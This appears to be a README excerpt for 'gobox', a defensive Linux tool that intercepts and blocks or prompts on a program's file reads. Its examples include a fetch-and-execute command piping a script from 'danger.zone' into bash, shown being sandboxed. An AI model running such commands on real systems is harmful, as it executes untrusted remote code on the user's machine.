Use cases

You want to install anything

> gobox -n “/etc/password.txt” npm install sketchy-module
BLOCKED READ on /etc/password.txt
>gobox -n “/etc/password.txt” bash <(curl https://danger.zone/install.sh)
BLOCKED READ on /etc/password.txt

You are interested in what file reads you favorite program makes.

Sure you could use strace, but it references file descriptors the tool makes the this much easier at a glance by printing the absolute path of the fd.

>gobox ls
Wanting to READ /usr/lib/x86_64-linux-gnu/libselinux.so.1 [y/n]

NOTE: It’s definitely a better idea to encrypt all your sensitive data, it should probably only be used when that is inconvenient or impractical.

NOTE: I haven’t made any effort for cross-x compatibility so it currently only works on linux. I’d happily accept patches to improve portability.
